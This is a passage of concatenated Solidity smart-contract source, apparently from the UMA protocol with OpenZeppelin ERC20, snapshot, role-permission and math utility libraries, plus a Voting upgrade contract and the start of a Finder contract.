@title Base class to manage permissions for the derived class. */ abstract contract MultiRole { using Exclusive for Exclusive.RoleMembership; using Shared for Shared.RoleMembership; enum RoleType { Invalid, Exclusive, Shared } struct Role { uint256 managingRole; RoleType roleType; Exclusive.RoleMembership exclusiveRoleMembership; Shared.RoleMembership sharedRoleMembership; } mapping(uint256 => Role) private roles; event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager); /** * @notice Reverts unless the caller is a member of the specified roleId. */ modifier onlyRoleHolder(uint256 roleId) { require(holdsRole(roleId, msg.sender), "Sender does not hold required role"); _; } /** * @notice Reverts unless the caller is a member of the manager role for the specified roleId. */ modifier onlyRoleManager(uint256 roleId) { require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager"); _; } /** * @notice Reverts unless the roleId represents an initialized, exclusive roleId. */ modifier onlyExclusive(uint256 roleId) { require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role"); _; } /** * @notice Reverts unless the roleId represents an initialized, shared roleId. */ modifier onlyShared(uint256 roleId) { require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role"); _; } /** * @notice Whether `memberToCheck` is a member of roleId. * @dev Reverts if roleId does not correspond to an initialized role. * @param roleId the Role to check. * @param memberToCheck the address to check. * @return True if `memberToCheck` is a member of `roleId`. */ function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) { Role storage role = roles[roleId]; if (role.roleType == RoleType.Exclusive) { return role.exclusiveRoleMembership.isMember(memberToCheck); } else if (role.roleType == RoleType.Shared) { return role.sharedRoleMembership.isMember(memberToCheck); } revert("Invalid roleId"); } /** * @notice Changes the exclusive role holder of `roleId` to `newMember`. * @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an * initialized, ExclusiveRole. * @param roleId the ExclusiveRole membership to modify. * @param newMember the new ExclusiveRole member. */ function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) { roles[roleId].exclusiveRoleMembership.resetMember(newMember); emit ResetExclusiveMember(roleId, newMember, msg.sender); } /** * @notice Gets the current holder of the exclusive role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, exclusive role. * @param roleId the ExclusiveRole membership to check. * @return the address of the current ExclusiveRole member. */ function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) { return roles[roleId].exclusiveRoleMembership.getMember(); } /** * @notice Adds `newMember` to the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param newMember the new SharedRole member. */ function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.addMember(newMember); emit AddedSharedMember(roleId, newMember, msg.sender); } /** * @notice Removes `memberToRemove` from the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param memberToRemove the current SharedRole member to remove. */ function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.removeMember(memberToRemove); emit RemovedSharedMember(roleId, memberToRemove, msg.sender); } /** * @notice Removes caller from the role, `roleId`. * @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an * initialized, SharedRole. * @param roleId the SharedRole membership to modify. */ function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) { roles[roleId].sharedRoleMembership.removeMember(msg.sender); emit RemovedSharedMember(roleId, msg.sender, msg.sender); } /** * @notice Reverts if `roleId` is not initialized. */ modifier onlyValidRole(uint256 roleId) { require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId"); _; } /** * @notice Reverts if `roleId` is initialized. */ modifier onlyInvalidRole(uint256 roleId) { require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role"); _; } /** * @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`. * `initialMembers` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createSharedRole( uint256 roleId, uint256 managingRoleId, address[] memory initialMembers ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Shared; role.managingRole = managingRoleId; role.sharedRoleMembership.init(initialMembers); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage a shared role" ); } /** * @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`. * `initialMember` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Exclusive; role.managingRole = managingRoleId; role.exclusiveRoleMembership.init(initialMember); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage an exclusive role" ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /** * @title Interface for a registry of contracts and contract creators. */ interface RegistryInterface { /** * @notice Registers a new contract. * @dev Only authorized contract creators can call this method. * @param parties an array of addresses who become parties in the contract. * @param contractAddress defines the address of the deployed contract. */ function registerContract(address[] calldata parties, address contractAddress) external; /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view returns (bool); /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view returns (address[] memory); /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external view returns (address[] memory); /** * @notice Adds a party to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be added to the contract. */ function addPartyToContract(address party) external; /** * @notice Removes a party member to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be removed from the contract. */ function removePartyFromContract(address party) external; /** * @notice checks if an address is a party in a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./MultiRole.sol"; import "../interfaces/ExpandedIERC20.sol"; /** * @title An ERC20 with permissioned burning and minting. The contract deployer will initially * be the owner who is capable of adding new roles. */ contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole { enum Roles { // Can set the minter and burner. Owner, // Addresses that can mint new tokens. Minter, // Addresses that can burn tokens that address owns. Burner } /** * @notice Constructs the ExpandedERC20. * @param _tokenName The name which describes the new token. * @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _tokenDecimals The number of decimals to define token precision. */ constructor( string memory _tokenName, string memory _tokenSymbol, uint8 _tokenDecimals ) public ERC20(_tokenName, _tokenSymbol) { _setupDecimals(_tokenDecimals); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0)); _createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0)); } /** * @dev Mints `value` tokens to `recipient`, returning true on success. * @param recipient address to mint to. * @param value amount of tokens to mint. * @return True if the mint succeeded, or False. */ function mint(address recipient, uint256 value) external override onlyRoleHolder(uint256(Roles.Minter)) returns (bool) { _mint(recipient, value); return true; } /** * @dev Burns `value` tokens owned by `msg.sender`. * @param value amount of tokens to burn. */ function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) { _burn(msg.sender, value); } /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external virtual override { addMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external virtual override { addMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external virtual override { resetMember(uint256(Roles.Owner), account); } } pragma solidity ^0.6.0; import "../../math/SafeMath.sol"; import "../../utils/Arrays.sol"; import "../../utils/Counters.sol"; import "./ERC20.sol"; /** * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and * total supply at the time are recorded for later access. * * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting. * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be * used to create an efficient ERC20 forking mechanism. * * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id * and the account address. * * ==== Gas Costs * * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much * smaller since identical balances in subsequent snapshots are stored as a single entry. * * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent * transfers will have normal cost until the next snapshot, and so on. */ abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. * * [WARNING] * ==== * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, * you must consider that it can potentially be used by attackers in two ways. * * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs * section above. * * We haven't measured the actual numbers; if this is something you're interested in please reach out to us. * ==== */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); } // _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the // snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. // The same is true for the total supply and _mint and _burn. function _transfer(address from, address to, uint256 value) internal virtual override { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); // When a valid snapshot is queried, there are three possibilities: // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never // created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds // to this id is the current one. // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the // requested id, and its value is the one to return. // c) More snapshots were created after the requested one, and the queried value was later modified. There will be // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is // larger than the requested one. // // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does // exactly this. uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ERC20 interface that includes burn and mint methods. */ abstract contract ExpandedIERC20 is IERC20 { /** * @notice Burns a specific amount of the caller's tokens. * @dev Only burns the caller's tokens, so it is safe to leave this method permissionless. */ function burn(uint256 value) external virtual; /** * @notice Mints tokens and adds them to the balance of the `to` address. * @dev This method should be permissioned to only allow designated parties to mint tokens. */ function mint(address to, uint256 value) external virtual returns (bool); function addMinter(address account) external virtual; function addBurner(address account) external virtual; function resetOwner(address account) external virtual; } pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } pragma solidity ^0.6.0; import "../math/Math.sol"; /** * @dev Collection of functions related to array types. */ library Arrays { /** * @dev Searches a sorted `array` and returns the first index that contains * a value greater or equal to `element`. If no such index exists (i.e. all * values in the array are strictly less than `element`), the array length is * returned. Time complexity O(log n). * * `array` is expected to be sorted in ascending order, and to contain no * repeated elements. */ function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); // Note that mid will always be strictly less than high (i.e. it will be a valid array index) // because Math.average rounds down (it does integer division with truncation). if (array[mid] > element) { high = mid; } else { low = mid + 1; } } // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound. if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } pragma solidity ^0.6.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../oracle/implementation/Finder.sol"; import "../oracle/implementation/Constants.sol"; import "../oracle/implementation/Voting.sol"; /** * @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the * upgrade process for Voting.sol. * @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only * the ones that need to be performed atomically. */ contract VotingUpgrader { // Existing governor is the only one who can initiate the upgrade. address public governor; // Existing Voting contract needs to be informed of the address of the new Voting contract. Voting public existingVoting; // New governor will be the new owner of the finder. // Finder contract to push upgrades to. Finder public finder; // Addresses to upgrade. address public newVoting; // Address to call setMigrated on the old voting contract. address public setMigratedAddress; /** * @notice Removes an address from the whitelist. * @param _governor the Governor contract address. * @param _existingVoting the current/existing Voting contract address. * @param _newVoting the new Voting deployment address. * @param _finder the Finder contract address. * @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to * old voting contract (used to claim rewards on others' behalf). Note: this address * can always be changed by the voters. */ constructor( address _governor, address _existingVoting, address _newVoting, address _finder, address _setMigratedAddress ) public { governor = _governor; existingVoting = Voting(_existingVoting); newVoting = _newVoting; finder = Finder(_finder); setMigratedAddress = _setMigratedAddress; } /** * @notice Performs the atomic portion of the upgrade process. * @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and * returns ownership of the existing Voting contract and Finder back to the Governor. */ function upgrade() external { require(msg.sender == governor, "Upgrade can only be initiated by the existing governor."); // Change the addresses in the Finder. finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting); // Set the preset "migrated" address to allow this address to claim rewards on voters' behalf. // This also effectively shuts down the existing voting contract so new votes cannot be triggered. existingVoting.setMigrated(setMigratedAddress); // Transfer back ownership of old voting contract and the finder to the governor. existingVoting.transferOwnership(governor); finder.transferOwnership(governor); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/FinderInterface.sol"; /** * @title Provides addresses of the live contracts implementing certain interfaces. * @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces. */ contract Finder is FinderInterface, Ownable { mapping(bytes32 => address) public interfacesImplemented; event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress); /** * @notice Updates the address of the contract that implements `interfaceName`. * @param interfaceName bytes32 